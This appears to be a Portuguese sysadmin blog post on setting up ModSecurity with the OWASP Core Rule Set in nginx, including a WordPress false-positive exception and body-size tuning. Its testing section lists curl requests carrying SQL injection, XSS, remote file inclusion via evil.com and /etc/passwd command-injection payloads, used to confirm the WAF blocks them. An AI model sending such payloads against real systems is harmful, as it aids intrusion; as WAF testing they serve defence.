Tag: WAF

  • Protegendo serviços web com ModSecurity

    Web Application Firewall é um tipo de aplicação que inspeciona as requisições HTTP em busca de ameaças comuns, como injeções de SQL, cross-site scripting (XSS), tentativas de inclusão de arquivos remotos e injeção de comandos, antes de encaminhá-las ao servidor web.

    São tipos de ameaças que costumam ser tratadas no back-end dos sites, mas nem sempre acontece. Eventualmente desenvolvedores esquecem de sanitizar um input em alguma parte do código e vulnerabilidades surgem. Um exemplo disso é a vulnerabilidade por injeção de SQL no Zabbix que foi encontrada no final de 2024.

    Tendo isso em vista, é interessante ter uma camada extra de segurança que verifique cada requisição HTTP. É aí que entra o Web Application Firewall (WAF): ele atua como um proxy reverso + firewall. Recebe a requisição HTTP, inspeciona e, caso ela infrinja alguma regra, impede a conexão. Caso contrário, encaminha a requisição para o servidor web.

    Existem diferentes alternativas de WAF, incluindo serviços em nuvem como o Azure Web Application Firewall. Mas minha infraestrutura já utilizava o nginx como proxy reverso para os meus servidores web, então busquei uma alternativa que fosse gratuita e que usasse poucos recursos de hardware, de forma que coubesse no meu VPS de 1 vCPU e 512 MB de RAM.

    A que melhor se encaixou foi o ModSecurity, um módulo de código aberto originalmente escrito para trabalhar com o Apache, mas que hoje também funciona com o nginx. Para instalar no meu servidor, que roda Debian 12:

    # apt install libnginx-mod-http-modsecurity modsecurity-crs

    O pacote modsecurity-crs é o Core Rule Set da OWASP, um conjunto de regras base utilizado pelo ModSecurity para identificar e bloquear potenciais ameaças.

    Verifique que o módulo está habilitado. Na pasta /etc/nginx/modules-enabled deve haver um softlink como

    50-mod-http-modsecurity.conf -> /usr/share/nginx/modules-available/mod-http-modsecurity.conf

    Em seguida, edite o arquivo de configuração /etc/nginx/modsecurity.conf e configure o seguinte parâmetro:

    SecRuleEngine On

    Edite também o arquivo /etc/nginx/modsecurity_includes.conf, copiando para ele as linhas em /usr/share/modsecurity-crs/owasp-crs.load que começam com “Include”. Essas são o conjunto base de regras da OWASP.

    Seu arquivo deve ficar algo como:

    include modsecurity.conf
    #include /usr/share/modsecurity-crs/owasp-crs.load
    Include /etc/modsecurity/crs/crs-setup.conf
    Include /usr/share/modsecurity-crs/rules/*.conf

    Feito isso, você pode editar os arquivos de configuração dos sites existente para adicionar no topo no bloco server as seguintes linhas:

    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsecurity_includes.conf;

    Teste as configurações e, se tudo estiver ok, reinicie o servidor web:

    # nginx -t
    # systemctl restart nginx

    É isso, o WAF está funcionando.

    Você pode testá-lo fazendo requisições http que ele deve bloquear e verificando tanto o resultado (ele rejeita com resposta 403) quanto os logs:

    # tail -f /var/log/nginx/modsec_audit.log

    Exemplos de requisições para fazer:

    $ curl "https://pid1.com.br/?id=1+UNION+SELECT+1,2,3"
    $ curl "https://pid1.com.br/?q=<script>alert('xss')</script>"
    $ curl "https://pid1.com.br/?page=http://evil.com/shell.txt"
    $ curl "https://pid1.com.br/?cmd=cat+/etc/passwd"

    Você também pode colocar um input como “UNION SELECT” em algum campo do seu site e verificar que ele responde com 403.

    Agora, problemas como falsos positivos podem acontecer. Eu fiquei impossibilitado de publicar ou salvar publicações como rascunho aqui no WordPress, por exemplo, recebendo o erro “Falha ao atualizar. A resposta não é um JSON válido”.

    Para resolver isso, foi necessário coletar as informações do log para criar uma regra que permita esse caso e ignore a regra que causa o bloqueio.

    O log foi o seguinte:

    ModSecurity: Warning. Matched "Operator Pm' with parameter document.cookie document.write .parentnode .innerhtml window.location -moz-binding <!-- --> <![cdata[' against variable ARGS:json.content' (Value: <!-- wp:paragraph -->\x0a<p>teste4</p>\x0a<!-- /wp:paragraph -->\x0a\x0a<!-- wp:paragraph -->\x0a<p> (30 characters omitted)' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "232"] [id "941180"] [rev ""] [msg "Node-Validator Blacklist Keywords"] [data "Matched Data: <!-- found within ARGS:json.content: <!-- wp:paragraph -->\x0a<p>teste4</p>\x0a<!-- /wp:paragraph -->\x0a\x0a<!-- wp:paragraph -->\x0a<p></p>\x0a<!-- /wp:paragraph -->"] [severity "2"] [ver "OWASP_CRS/3.3.4"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "191.252.110.50"] [uri "/wp-json/wp/v2/posts/385"] [unique_id "176202912980.702618"] [ref "o0,4v13,112t:utf8toUnicode,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode,t:lowercase,t:removeNulls"] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator Ge' with parameter 5' against variable TX:ANOMALY_SCORE' (Value: 5' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "81"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [data ""] [severity "2"] [ver "OWASP_CRS/3.3.4"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "191.252.110.50"] [uri "/wp-json/wp/v2/posts/385"] [unique_id "176202912980.702618"] [ref ""]

    Nele, pode-se identificar:

    • A URI: /wp-json/wp/v2/posts/385
    • O ID da regra que estava causando o bloqueio: 941180

    A partir disso, pode-se criar um arquivo de configuração /etc/nginx/modsecurity_custom_exceptions.conf, com a seguinte regra:

    SecRule REQUEST_URI "@beginsWith /wp-json/wp/v2/posts"\
    "id:10001,phase:1,nolog,pass,ctl:ruleRemoveById=941180"

    Esse arquivo deve ser incluído no /etc/nginx/modsecurity_includes.conf – adicione a linha:

    Include modsecurity_custom_exceptions.conf

    A regra é composta da seguinte forma:

    SecRule VARIÁVEIS OPERADOR [AÇÕES]

    Nesse caso,

    • Variável: REQUEST_URI – é a váriável que ele vai verificar para aplicar a ação.
    • Operador: “@beginsWith /wp-json/wp/v2/posts” – o que ele vai verificar na variável.
    • Ações: “id:10001,phase:1,nolog,pass,ctl:ruleRemoveById=941180”

    Entre as ações:

    • id:10001 – ID da regra que você está criando. Deve ser único.
    • phase:1 – indica que a ação deve ocorrer na fase dos cabeçalhos de requisição – quando o ModSecurity recebe o cabeçalho do nginx, antes de receber o corpo da requisição HTTP e aplicar as regras, que seria a phase:2
    • nolog – sem necessidade de registrar esse evento
    • pass – permite a requisição HTTP
    • ctl:ruleRemoveById=941180 – desabilita a regra que causava o bloqueio. Múltiplas ações desse tipo podem ser especificadas na mesma regra.

    Há também no log uma regra de ID 949110, mas ao ver a mensagem associada é possível verificar que ela não é a regra que identifica a ameaça em potencial, apenas a regra que determina um limite de ameaças detectadas. Não desabilite essa regra, isso abriria espaço para outras requisições HTTP que não devem ser recebidas pelo servidor. É preciso analisar o log com atenção e verificar a que mensagens cada regra está associada.

    Esse tipo de ajuste também pode ser feito para outras regras em outras URIs de outros sites para os quais o nginx atua como proxy reverso, permitindo o uso do WAF para diferentes aplicações e sistemas.

    Uma observação importante: a ordem em que as configurações são incluídas no arquivo /etc/nginx/modsecurity_includes.conf é importante, já que as regras são processadas de forma sequencial. Garanta que as exceções são incluídas para serem processadas antes das regras da OWASP.

    Include modsecurity.conf
    Include modsecurity_custom_exceptions.conf
    Include /etc/modsecurity/crs/crs-setup.conf
    Include /usr/share/modsecurity-crs/rules/*.conf

    Para casos em que uploads de arquivos são feitos, como no Nextcloud, considere também ajustar no arquivo /etc/nginx/modsecurity.conf o parâmetro de tamanho máximo do corpo das requisições HTTP, especificado em bytes.

    #SecRequestBodyLimit 13107200
    SecRequestBodyLimit 31457280

    O limite padrão é 12.5 MB, tendo sido ajustado para 30 MB. Idealmente ajustaria para um valor mais alto mas o consumo de memória pelo nginx ultrapassa o limite tolerado pelo systemd-oomd no meu servidor com 512 MB de RAM, levando o systemd-oomd a matar o processo.